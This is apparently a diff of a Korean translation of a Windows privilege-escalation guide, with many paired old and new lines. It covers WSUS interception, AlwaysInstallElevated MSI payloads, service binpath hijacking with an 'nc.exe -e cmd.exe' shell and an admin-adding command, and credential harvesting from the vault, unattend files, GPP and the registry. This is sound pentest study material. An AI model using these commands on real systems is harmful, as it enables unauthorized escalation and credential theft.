> 우리가 로컬 사용자 프록시를 수정할 수 있는 권한이 있고, Windows 업데이트가 Internet Explorer의 설정에 구성된 프록시를 사용한다면, 우리는 [PyWSUS](https://github.com/GoSecure/pywsus)를 로컬에서 실행하여 자신의 트래픽을 가로채고 자산에서 상승된 사용자로서 코드를 실행할 수 있는 권한을 가지게 됩니다.
>
> 게다가, WSUS 서비스는 현재 사용자의 설정을 사용하므로, 현재 사용자의 인증서 저장소도 사용할 것이다. WSUS 호스트 이름에 대해 자체 서명된 인증서를 생성하고 이 인증서를 현재 사용자의 인증서 저장소에 추가하면, HTTP 및 HTTPS WSUS 트래픽을 모두 가로챌 수 있다. WSUS는 인증서에 대한 신뢰-첫 사용 유형 검증을 구현하기 위해 HSTS와 유사한 메커니즘을 사용하지 않는다. 제시된 인증서가 사용자가 신뢰하고 올바른 호스트 이름을 가지고 있다면, 서비스에 의해 수용될 것이다.
> 게다가, WSUS 서비스는 현재 사용자의 설정을 사용하므로, 현재 사용자의 인증서 저장소도 사용합니다. WSUS 호스트 이름에 대해 자체 서명된 인증서를 생성하고 이 인증서를 현재 사용자의 인증서 저장소에 추가하면, HTTP 및 HTTPS WSUS 트래픽을 모두 가로챌 수 있습니다. WSUS는 인증서에 대한 신뢰-첫 사용 유형 검증을 구현하기 위해 HSTS와 유사한 메커니즘을 사용하지 않습니다. 제시된 인증서가 사용자에 의해 신뢰되고 올바른 호스트 이름을 가지고 있다면, 서비스에 의해 수용됩니다.
이 취약점을 [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) 도구를 사용하여 악용할 수 있다 (해방되면).
이 취약점을 [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) 도구를 사용하여 악용할 수 있습니다 (해방되면).
## KrbRelayUp
**로컬 권한 상승** 취약점이 특정 조건 하에 Windows **도메인** 환경에 존재다. 이러한 조건에는 **LDAP 서명이 시행되지 않는** 환경, 사용자가 **리소스 기반 제약 위임 (RBCD)**을 구성할 수 있는 자기 권한을 가지며, 사용자가 도메인 내에서 컴퓨터를 생성할 수 있는 능력이 포함다. 이러한 **요구 사항**은 **기본 설정**을 사용하여 충족된다는 점에 유의해야 다.
**로컬 권한 상승** 취약점이 특정 조건 하에 Windows **도메인** 환경에 존재합니다. 이러한 조건에는 **LDAP 서명이 시행되지 않는** 환경, 사용자가 **리소스 기반 제약 위임(RBCD)**을 구성할 수 있는 자기 권한을 가지며, 사용자가 도메인 내에서 컴퓨터를 생성할 수 있는 능력이 포함됩니다. 이러한 **요구 사항**은 **기본 설정**을 사용하여 충족된다는 점에 유의해야 합니다.
**여기에서 익스플로잇을 찾으세요** [**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp)
**여기에서 익스플로잇을 찾으세요**: [**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp)
공격 흐름에 대한 자세한 정보는 [https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/](https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/)를 확인하세요.
## AlwaysInstallElevated
**이** 2개의 레지스터가 **활성화되어** 있다면 (값이 **0x1**), 모든 권한의 사용자가 NT AUTHORITY\\**SYSTEM**으로 `*.msi` 파일을 **설치** (실행)할 수 있다.
**이** 2개의 레지스터가 **활성화**되어 있다면 (값이 **0x1**), 모든 권한의 사용자가 NT AUTHORITY\\**SYSTEM**으로 `*.msi` 파일을 **설치**(실행)할 수 있습니다.
```bash
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
@ -233,7 +233,7 @@ create-msi-with-wix.md
- **Cobalt Strike** 또는 **Metasploit**를 사용하여 `C:\privesc\beacon.exe`에 **새 Windows EXE TCP 페이로드**를 **생성**합니다.
- **Visual Studio**를 열고 **새 프로젝트 만들기**를 선택한 후 검색 상자에 "installer"를 입력합니다. **Setup Wizard** 프로젝트를 선택하고 **Next**를 클릭합니다.
- 프로젝트 이름을 **AlwaysPrivesc**로 지정하고 위치에 **`C:\privesc`**를 사용하며, **솔루션과 프로젝트를 동일한 디렉터리에 배치**를 선택한 후 **Create**를 클릭합니다.
- **Next**를 계속 클릭하여 4단계 중 3단계(포함할 파일 선택)에 도달합니다. **Add**를 클릭하고 방금 생성한 Beacon 페이로드를 선택합니다. 그런 다음 **Finish**를 클릭합니다.
- 4단계 중 3단계(포함할 파일 선택)에 도달할 때까지 **Next**를 계속 클릭합니다. **Add**를 클릭하고 방금 생성한 Beacon 페이로드를 선택합니다. 그런 다음 **Finish**를 클릭합니다.
- **Solution Explorer**에서 **AlwaysPrivesc** 프로젝트를 강조 표시하고 **Properties**에서 **TargetPlatform**을 **x86**에서 **x64**로 변경합니다.
- 설치된 앱이 더 합법적으로 보이도록 **Author** 및 **Manufacturer**와 같은 다른 속성을 변경할 수 있습니다.
- 프로젝트를 마우스 오른쪽 버튼으로 클릭하고 **View > Custom Actions**를 선택합니다.
@ -293,18 +293,18 @@ reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL
```bash
reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags
```
### 캐시된 자격 증명
### Cached Credentials
**도메인 자격 증명**은 **로컬 보안 권한**(LSA)에 의해 인증되며 운영 체제 구성 요소에서 사용됩니다. 사용자의 로그 데이터가 등록된 보안 패키지에 의해 인증되면, 일반적으로 사용자의 도메인 자격 증명이 설정됩니다.\
[**캐시된 자격 증명에 대한 자세한 정보는 여기에서 확인하세요**](../stealing-credentials/credentials-protections.md#cached-credentials).
**도메인 자격 증명**은 **로컬 보안 권한**(LSA)에 의해 인증되며 운영 체제 구성 요소에서 사용됩니다. 사용자의 로그 데이터가 등록된 보안 패키지에 의해 인증되면, 일반적으로 사용자의 도메인 자격 증명이 설정됩니다.\
[**Cached Credentials에 대한 자세한 정보는 여기에서 확인하세요**](../stealing-credentials/credentials-protections.md#cached-credentials).
```bash
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT
```
## 사용자 및 그룹
## Users & Groups
### 사용자 및 그룹 나열
### Enumerate Users & Groups
귀하가 속한 그룹 중에 흥미로운 권한이 있는지 확인해야 합니다.
당신이 속한 그룹 중에 흥미로운 권한이 있는지 확인해야 합니다.
```bash
# CMD
net users %username% #Me
@ -321,7 +321,7 @@ Get-LocalGroupMember Administrators | ft Name, PrincipalSource
```
### Privileged groups
If you **privileged group에 속한다면 권한 상승을 할 수 있습니다**. 권한 그룹과 이를 악용하여 권한을 상승시키는 방법에 대해 알아보세요:
If you **privileged group에 속해 있다면 권한 상승을 할 수 있습니다**. privileged groups에 대해 배우고 이를 악용하여 권한을 상승시키는 방법은 여기에서 확인하세요:
{{#ref}}
../active-directory-methodology/privileged-groups-and-token-privileges.md
@ -330,7 +330,7 @@ If you **privileged group에 속한다면 권한 상승을 할 수 있습니다*
### Token manipulation
**더 알아보세요** 이 페이지에서 **token**이 무엇인지: [**Windows Tokens**](../authentication-credentials-uac-and-efs/index.html#access-tokens).\
다음 페이지를 확인하여 **흥미로운 tokens에 대해 배우고** 이를 악용하는 방법을 알아보세요:
다음 페이지를 확인하여 **흥미로운 tokens에 대해 배우고 이를 악용하는 방법**을 알아보세요:
{{#ref}}
privilege-escalation-abusing-tokens.md
@ -359,7 +359,7 @@ powershell -command "Get-Clipboard"
### 파일 및 폴더 권한
우선, 프로세스를 나열하여 **프로세스의 명령줄에 있는 비밀번호를 확인**합니다.\
**실행 중인 일부 바이너리를 덮어쓸 수 있는지** 또는 바이너리 폴더에 대한 쓰기 권한이 있는지 확인하여 가능한 [**DLL Hijacking 공격**](dll-hijacking/)을 이용합니다:
**실행 중인 일부 바이너리를 덮어쓸 수 있는지** 또는 바이너리 폴더에 대한 쓰기 권한이 있는지 확인하여 가능한 [**DLL Hijacking 공격**](dll-hijacking/index.html)을 이용합니다:
```bash
Tasklist /SVC #List processes running and services
tasklist /v /fi "username eq system" #Filter "system" processes
@ -370,7 +370,7 @@ Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "sv
#Without usernames
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id
```
항상 가능한 [**electron/cef/chromium 디버거**가 실행 중인지 확인하세요. 이를 악용하여 권한을 상승시킬 수 있습니다.](../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md).
항상 가능한 [**electron/cef/chromium 디버거**가 실행 중인지 확인하세요. 이를 악용하여 권한을 상승시킬 수 있습니다](../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md).
**프로세스 바이너리의 권한 확인**
```bash
@ -381,7 +381,7 @@ icacls "%%z"
)
)
```
**프로세스 바이너리의 폴더 권한 확인 (**[**DLL Hijacking**](dll-hijacking/)**)**
**프로세스 바이너리의 폴더 권한 확인 (**[**DLL Hijacking**](dll-hijacking/index.html)**)**
```bash
for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v
"system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do (
@ -416,7 +416,7 @@ You can use **sc** to get information of a service
```bash
sc qc <service_name>
```
각 서비스에 필요한 권한 수준을 확인하기 위해 _Sysinternals_의 바이너리 **accesschk**를 사용하는 것이 권장됩니다.
각 서비스에 필요한 권한 수준을 확인하기 위해 _Sysinternals_의 바이너리 **accesschk**를 사용하는 것이 좋습니다.
```bash
accesschk.exe -ucqv <Service_Name> #Check rights for different groups
```
@ -427,7 +427,7 @@ accesschk.exe -uwcqv %USERNAME% * /accepteula
accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2>nul
accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version
```
[accesschk.exe를 XP용으로 여기서 다운로드할 수 있습니다](https://github.com/ankh2054/windows-pentest/raw/master/Privelege/accesschk-2003-xp.exe)
[accesschk.exe를 XP용으로 여기서 다운로드할 수 있습니다](https://github.com/ankh2054/windows-pentest/raw/master/Privelege/accesschk-2003-xp.exe)
### 서비스 활성화
@ -441,13 +441,15 @@ _시스템 오류 1058이 발생했습니다._\
sc config SSDPSRV start= demand
sc config SSDPSRV obj= ".\LocalSystem" password= ""
```
**이 문제에 대한 또 다른 우회 방법**은 다음을 실행하는 것입니다:
**서비스 upnphost가 작동하기 위해 SSDPSRV에 의존한다는 점을 고려하세요 (XP SP1의 경우)**
**이 문제의 또 다른 해결 방법**은 다음을 실행하는 것입니다:
```
sc.exe config usosvc start= auto
```
### **서비스 이진 경로 수정**
### **서비스 바이너리 경로 수정**
"인증된 사용자" 그룹이 **SERVICE_ALL_ACCESS**를 서비스에 가지고 있는 경우, 서비스의 실행 파일 이진 파일을 수정할 수 있습니다. **sc**를 수정하고 실행하려면:
"인증된 사용자" 그룹이 **SERVICE_ALL_ACCESS**를 서비스에 가지고 있는 경우, 서비스의 실행 파일 바이너리를 수정할 수 있습니다. **sc**를 수정하고 실행하려면:
```bash
sc config <Service_Name> binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
sc config <Service_Name> binpath= "net localgroup administrators username /add"
@ -468,12 +470,12 @@ net stop [service name] && net start [service name]
- **GENERIC_WRITE**: 서비스 구성을 변경할 수 있는 능력을 상속받습니다.
- **GENERIC_ALL**: 서비스 구성을 변경할 수 있는 능력을 또한 상속받습니다.
이 취약점을 탐지하고 악용하기 위해 _exploit/windows/local/service_permissions_를 사용할 수 있습니다.
이 취약점을 탐지하고 악용하기 위해서는 _exploit/windows/local/service_permissions_를 사용할 수 있습니다.
### 서비스 바이너리의 약한 권한
**서비스에 의해 실행되는 바이너리를 수정할 수 있는지 확인**하거나 **바이너리가 위치한 폴더에 대한 쓰기 권한이 있는지 확인**하세요 ([**DLL Hijacking**](dll-hijacking/))**.**\
**wmic**(system32가 아님)를 사용하여 서비스에 의해 실행되는 모든 바이너리를 가져오고 **icacls**를 사용하여 권한을 확인할 수 있습니다:
**서비스에 의해 실행되는 바이너리를 수정할 수 있는지 확인**하거나 **바이너리가 위치한 폴더에 대한 쓰기 권한이 있는지 확인**하십시오 ([**DLL Hijacking**](dll-hijacking/index.html))**.**\
**wmic**를 사용하여 서비스에 의해 실행되는 모든 바이너리를 가져오고 (system32가 아님) **icacls**를 사용하여 권한을 확인할 수 있습니다:
```bash
for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt
@ -553,7 +555,7 @@ Windows는 서비스가 실패할 경우 취할 작업을 사용자가 지정할
### Installed Applications
**바이너리의 권한**을 확인하세요 (어쩌면 하나를 덮어쓰고 권한을 상승시킬 수 있습니다) 및 **폴더의 권한** ([DLL Hijacking](dll-hijacking/)).
**바이너리의 권한**을 확인하세요 (하나를 덮어쓸 수 있고 권한을 상승시킬 수 있을지도 모릅니다) 및 **폴더의 권한** ([DLL Hijacking](dll-hijacking/index.html)).
```bash
dir /a "C:\Program Files"
dir /a "C:\Program Files (x86)"
@ -592,7 +594,7 @@ Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Ac
### 시작 시 실행
**다른 사용자가 실행할 레지스트리나 바이너리를 덮어쓸 수 있는지 확인하세요.**\
**다음 페이지를 읽어** 권한 상승을 위한 흥미로운 **자동 실행 위치**에 대해 더 알아보세요:
**다음 페이지를 읽어** **권한 상승을 위한 흥미로운 autoruns 위치**에 대해 더 알아보세요:
{{#ref}}
privilege-escalation-with-autorun-binaries.md
@ -662,23 +664,23 @@ Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L
[**방화벽 관련 명령어는 이 페이지를 확인하세요**](../basic-cmd-for-pentesters.md#firewall) **(규칙 목록, 규칙 생성, 끄기, 끄기...)**
더 많은 [네트워크 열거 명령어는 여기](../basic-cmd-for-pentesters.md#network) 있습니다.
더 많은 [네트워크 열거 명령어는 여기](../basic-cmd-for-pentesters.md#network)에서 확인하세요.
### Windows Subsystem for Linux (wsl)
```bash
C:\Windows\System32\bash.exe
C:\Windows\System32\wsl.exe
```
이진 파일 `bash.exe``C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe`에서도 찾을 수 있습니다.
이진 `bash.exe``C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe`에서도 찾을 수 있습니다.
루트 사용자 권한을 얻으면 어떤 포트에서도 수신할 수 있습니다(처음 `nc.exe`를 사용하여 포트에서 수신할 때 GUI를 통해 `nc`가 방화벽에 의해 허용되어야 하는지 묻습니다).
루트 사용자 권한을 얻으면 모든 포트에서 수신할 수 있습니다(처음 `nc.exe`를 사용하여 포트에서 수신할 때 GUI를 통해 `nc`가 방화벽에 의해 허용되어야 하는지 묻습니다).
```bash
wsl whoami
./ubuntun1604.exe config --default-user root
wsl whoami
wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'
```
bash를 루트로 쉽게 시작하려면 `--default-user root`를 시도 수 있습니다.
bash를 루트로 쉽게 시작하려면 `--default-user root`를 시도해 볼 수 있습니다.
`WSL` 파일 시스템은 `C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\` 폴더에서 탐색할 수 있습니다.
@ -701,7 +703,7 @@ reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDef
From [https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault](https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault)\
Windows 금고는 **Windows**가 **사용자를 자동으로 로그인**할 수 있는 서버, 웹사이트 및 기타 프로그램에 대한 사용자 자격 증명을 저장합니다. 처음에는 사용자가 Facebook 자격 증명, Twitter 자격 증명, Gmail 자격 증명 등을 저장하여 브라우저를 통해 자동으로 로그인할 수 있는 것처럼 보일 수 있습니다. 하지만 그렇지 않습니다.
Windows 금고는 Windows가 사용자를 자동으로 로그인할 수 있는 자격 증명을 저장합니다. 이는 **자원에 접근하기 위해 자격 증명이 필요한 모든 Windows 애플리케이션**이 **이 자격 증명 관리자** 및 Windows 금고를 사용하여 사용자가 항상 사용자 이름과 비밀번호를 입력하는 대신 제공된 자격 증명을 사용할 수 있음을 의미합니다.
Windows 금고는 Windows가 사용자를 자동으로 로그인할 수 있는 자격 증명을 저장합니다. 이는 **자원에 접근하기 위해 자격 증명이 필요한 모든 Windows 애플리케이션**이 이 자격 증명 관리자 및 Windows 금고를 사용하여 사용자가 항상 사용자 이름과 비밀번호를 입력하는 대신 제공된 자격 증명을 사용할 수 있음을 의미합니다.
애플리케이션이 자격 증명 관리자와 상호 작용하지 않는 한, 특정 자원에 대한 자격 증명을 사용하는 것은 불가능하다고 생각합니다. 따라서 애플리케이션이 금고를 사용하려면 어떤 식으로든 **자격 증명 관리자와 통신하여 기본 저장 금고에서 해당 자원에 대한 자격 증명을 요청해야 합니다.**
@ -904,15 +906,15 @@ SSH 개인 키는 레지스트리 키 `HKCU\Software\OpenSSH\Agent\Keys`에 저
```bash
reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys'
```
해당 경로 내에서 항목을 찾으면 아마도 저장된 SSH 키일 것입니다. 이는 암호화되어 저장되지만 [https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract)를 사용하여 쉽게 복호화할 수 있습니다.\
이 기술에 대한 더 많은 정보는 여기에서 확인할 수 있습니다: [https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/)
해당 경로 내에서 항목을 찾으면 저장된 SSH 키일 가능성이 높습니다. 이는 암호화되어 저장되지만 [https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract)를 사용하여 쉽게 복호화할 수 있습니다.\
이 기술에 대한 더 많은 정보는 여기에서 확인하세요: [https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/)
`ssh-agent` 서비스가 실행되고 있지 않다면 부팅 시 자동으로 시작되도록 하려면 다음을 실행하십시오:
`ssh-agent` 서비스가 실행되고 있지 않으며 부팅 시 자동으로 시작되도록 하려면 다음을 실행하세요:
```bash
Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service
```
> [!NOTE]
> 이 기술은 더 이상 유효하지 않은 것 같습니다. 나는 몇 개의 ssh 키를 생성하고 `ssh-add`로 추가한 후 ssh를 통해 머신에 로그인하려고 했습니다. 레지스트리 HKCU\Software\OpenSSH\Agent\Keys가 존재하지 않으며 procmon은 비대칭 키 인증 중 `dpapi.dll`의 사용을 식별하지 못했습니다.
> 이 기술은 더 이상 유효하지 않은 것 같습니다. ssh 키를 생성하고 `ssh-add`로 추가한 후 ssh를 통해 머신에 로그인하려고 했습니다. 레지스트리 HKCU\Software\OpenSSH\Agent\Keys가 존재하지 않으며 procmon은 비대칭 키 인증 중 `dpapi.dll`의 사용을 식별하지 못했습니다.
### Unattended files
```
@ -929,7 +931,9 @@ C:\unattend.txt
C:\unattend.inf
dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul
```
이 파일들은 **metasploit**를 사용하여 검색할 수도 있습니다: _post/windows/gather/enum_unattend_
다음 파일을 **metasploit**를 사용하여 검색할 수도 있습니다: _post/windows/gather/enum_unattend_
예시 내용:
```xml
<component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="amd64">
<AutoLogon>
@ -974,9 +978,9 @@ AppData\Roaming\gcloud\access_tokens.db
### Cached GPP Pasword
이전에는 Group Policy Preferences (GPP)를 통해 여러 머신에 사용자 정의 로컬 관리자 계정을 배포할 수 있는 기능이 제공되었습니다. 그러나 이 방법에는 심각한 보안 결함이 있었습니다. 첫째, SYSVOL에 XML 파일로 저장된 Group Policy Objects (GPO)는 모든 도메인 사용자가 접근할 수 있었습니다. 둘째, 공개적으로 문서화된 기본 키를 사용하여 AES256으로 암호화된 이 GPP 내의 비밀번호는 인증된 사용자가 복호화할 수 있었습니다. 이는 사용자가 권한 상승을 할 수 있는 심각한 위험을 초래했습니다.
이전에는 Group Policy Preferences (GPP)를 통해 여러 머신에 사용자 정의 로컬 관리자 계정을 배포할 수 있는 기능이 제공되었습니다. 그러나 이 방법에는 심각한 보안 결함이 있었습니다. 첫째, SYSVOL에 XML 파일로 저장된 Group Policy Objects (GPOs)는 모든 도메인 사용자가 접근할 수 있었습니다. 둘째, 공개적으로 문서화된 기본 키를 사용하여 AES256으로 암호화된 이러한 GPP 내의 비밀번호는 인증된 사용자가 복호화할 수 있었습니다. 이는 사용자가 권한 상승을 할 수 있는 심각한 위험을 초래했습니다.
이 위험을 완화하기 위해, 비어 있지 않은 "cpassword" 필드를 포함하는 로컬 캐시 GPP 파일을 스캔하는 기능이 개발되었습니다. 이러한 파일을 찾으면, 이 기능은 비밀번호를 복호화하고 사용자 정의 PowerShell 객체를 반환합니다. 이 객체에는 GPP에 대한 세부정보와 파일의 위치가 포함되어 있어 이 보안 취약점을 식별하고 수정하는 데 도움이 됩니다.
이 위험을 완화하기 위해, 비어 있지 않은 "cpassword" 필드를 포함하는 로컬 캐시 GPP 파일을 검색하는 기능이 개발되었습니다. 이러한 파일을 찾으면, 해당 기능은 비밀번호를 복호화하고 사용자 정의 PowerShell 객체를 반환합니다. 이 객체에는 GPP에 대한 세부정보와 파일의 위치가 포함되어 있어 이 보안 취약점을 식별하고 수정하는 데 도움이 됩니다.
다음 파일을 위해 `C:\ProgramData\Microsoft\Group Policy\history` 또는 _**C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history** (W Vista 이전)_에서 검색하세요:
@ -1010,7 +1014,7 @@ C:\inetpub\wwwroot\web.config
Get-Childitem Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
Get-Childitem Path C:\xampp\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
```
.config의 자격 증명 예:
web.config의 자격 증명 예:
```xml
<authentication mode="Forms">
<forms name="login" loginUrl="/admin">
@ -1137,7 +1141,7 @@ Get-Childitem Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAct
자격 증명이 있는지 확인하기 위해 Bin을 확인해야 합니다.
여러 프로그램에 의해 저장된 **비밀번호를 복구**하려면: [http://www.nirsoft.net/password_recovery_tools.html](http://www.nirsoft.net/password_recovery_tools.html) 를 사용할 수 있습니다.
여러 프로그램에 의해 저장된 **비밀번호를 복구**하려면 다음을 사용할 수 있습니다: [http://www.nirsoft.net/password_recovery_tools.html](http://www.nirsoft.net/password_recovery_tools.html)
### 레지스트리 내부
@ -1164,11 +1168,11 @@ reg query "HKCU\Software\OpenSSH\Agent\Key"
### **COM DLL 덮어쓰기**
**컴포넌트 오브젝트 모델 (COM)**은 서로 다른 언어의 소프트웨어 구성 요소 간의 **상호 통신**을 허용하는 Windows 운영 체제 내에 구축된 기술입니다. 각 COM 구성 요소는 **클래스 ID (CLSID)**를 통해 **식별**되며, 각 구성 요소는 하나 이상의 인터페이스를 통해 기능을 노출하며, 이는 인터페이스 ID (IIDs)를 통해 식별됩니다.
**컴포넌트 오브젝트 모델 (COM)**은 서로 다른 언어의 소프트웨어 구성 요소 간의 **상호 통신**을 허용하는 Windows 운영 체제 내에 구축된 기술입니다. 각 COM 구성 요소는 **클래스 ID (CLSID)**를 통해 **식별**되며, 각 구성 요소는 인터페이스 ID (IIDs)를 통해 식별되는 하나 이상의 인터페이스를 통해 기능을 노출합니다.
COM 클래스와 인터페이스는 각각 **HKEY\_**_**CLASSES\_**_**ROOT\CLSID****HKEY\_**_**CLASSES\_**_**ROOT\Interface** 레지스트리에 정의됩니다. 이 레지스트리는 **HKEY\_**_**LOCAL\_**_**MACHINE\Software\Classes** + **HKEY\_**_**CURRENT\_**_**USER\Software\Classes** = **HKEY\_**_**CLASSES\_**_**ROOT**를 병합하여 생성됩니다.
COM 클래스와 인터페이스는 각각 **HKEY\_**_**CLASSES\_**_**ROOT\CLSID****HKEY\_**_**CLASSES\_**_**ROOT\Interface** 레지스트리에 정의됩니다. 이 레지스트리는 **HKEY\_**_**LOCAL\_**_**MACHINE\Software\Classes** + **HKEY\_**_**CURRENT\_**_**USER\Software\Classes** = **HKEY\_**_**CLASSES\_**_**ROOT**를 병합하여 생성됩니다.
이 레지스트리의 CLSID 내부에는 **InProcServer32**라는 자식 레지스트리가 있으며, 여기에는 **DLL**을 가리키는 **기본값**과 **Apartment** (단일 스레드), **Free** (다중 스레드), **Both** (단일 또는 다중) 또는 **Neutral** (스레드 중립)일 수 있는 **ThreadingModel**이라는 값이 포함되어 있습니다.
이 레지스트리의 CLSID 내부에는 **InProcServer32**라는 자식 레지스트리가 있으며, 여기에는 **DLL**을 가리키는 **기본값**과 **ThreadingModel**이라는 값이 포함되어 있습니다. 이 값은 **Apartment** (단일 스레드), **Free** (다중 스레드), **Both** (단일 또는 다중) 또는 **Neutral** (스레드 중립)일 수 있습니다.
![](<../../images/image (729).png>)
@ -1203,9 +1207,9 @@ REG QUERY HKCU /F "password" /t REG_SZ /S /d
```
### 비밀번호를 검색하는 도구
[**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) ** msf** 플러그인으로, 이 플러그인은 **희생자의 내부에서 자격 증명을 검색하는 모든 metasploit POST 모듈을 자동으로 실행**하도록 만들어졌습니다.\
[**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) ** msf** 플러그인으로, 이 플러그인은 **희생자의 내부에서 자격 증명을 검색하는 모든 metasploit POST 모듈을 자동으로 실행하기 위해 생성되었습니다.**\
[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) 는 이 페이지에 언급된 비밀번호가 포함된 모든 파일을 자동으로 검색합니다.\
[**Lazagne**](https://github.com/AlessandroZ/LaZagne) 시스템에서 비밀번호를 추출하는 또 다른 훌륭한 도구입니다.
[**Lazagne**](https://github.com/AlessandroZ/LaZagne) 시스템에서 비밀번호를 추출하는 또 다른 훌륭한 도구입니다.
도구 [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) 는 **세션**, **사용자 이름** 및 **비밀번호**를 검색하며, 이 데이터가 일반 텍스트로 저장되는 여러 도구(PuTTY, WinSCP, FileZilla, SuperPuTTY, RDP)의 정보를 찾습니다.
```bash
@ -1227,9 +1231,9 @@ Then, if you have **full access to the low privileged process**, you can grab th
Windows는 **Named Pipes**라는 기능을 제공하여 관련 없는 프로세스가 서로 다른 네트워크를 통해서도 데이터를 공유할 수 있게 합니다. 이는 **named pipe server**와 **named pipe client**로 정의된 역할을 가진 클라이언트/서버 아키텍처와 유사합니다.
**클라이언트**가 파이를 통해 데이터를 전송할 때, 파이를 설정한 **서버**는 필요한 **SeImpersonate** 권한이 있는 경우 **클라이언트의 신원을 취할 수 있는** 능력을 가집니다. 파이를 통해 통신하는 **특권 프로세스**를 식별하고 그 신원을 모방할 수 있는 기회를 제공하여, 해당 프로세스가 설정한 파이와 상호작용할 때 더 높은 권한을 **얻을 수 있습니다**. 이러한 공격을 실행하는 방법에 대한 지침은 [**여기**](named-pipe-client-impersonation.md)와 [**여기**](#from-high-integrity-to-system)에서 찾을 수 있습니다.
데이터가 **클라이언트**에 의해 파이프를 통해 전송될 때, 파이프를 설정한 **서버**는 필요한 **SeImpersonate** 권한이 있는 경우 **클라이언트의 신원을 취할 수** 있습니다. 파이프를 통해 통신하는 **특권 프로세스**를 식별하고 이를 모방할 수 있는 기회를 제공하여, 해당 프로세스가 설정한 파이와 상호작용할 때 그 프로세스의 신원을 채택함으로써 **더 높은 권한을 얻을 수** 있습니다. 이러한 공격을 실행하는 방법에 대한 지침은 [**여기**](named-pipe-client-impersonation.md)와 [**여기**](#from-high-integrity-to-system)에서 찾을 수 있습니다.
또한 다음 도구는 **burp와 같은 도구로 named pipe 통신을 가로챌 수 있게 해줍니다:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **그리고 이 도구는 모든 파이프를 나열하고 볼 수 있게 해주어 privescs를 찾는 데 도움을 줍니다** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer)
또한 다음 도구는 **burp와 같은 도구로 named pipe 통신을 가로챌 수** 있습니다: [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **그리고 이 도구는 모든 파이프를 나열하고 볼 수 있어 privescs를 찾는 데 도움을 줍니다** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer)
## Misc
@ -1247,7 +1251,7 @@ Compare-Object -ReferenceObject $process -DifferenceObject $process2
```
## 프로세스에서 비밀번호 훔치기
## 낮은 권한 사용자에서 NT\AUTHORITY SYSTEM으로 (CVE-2019-1388) / UAC 우회
## 낮은 권한 사용자에서 NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC 우회
그래픽 인터페이스(콘솔 또는 RDP를 통해)에 접근할 수 있고 UAC가 활성화된 경우, 일부 버전의 Microsoft Windows에서는 비권한 사용자로부터 "NT\AUTHORITY SYSTEM"과 같은 터미널이나 다른 프로세스를 실행할 수 있습니다.
@ -1315,7 +1319,7 @@ integrity-levels.md
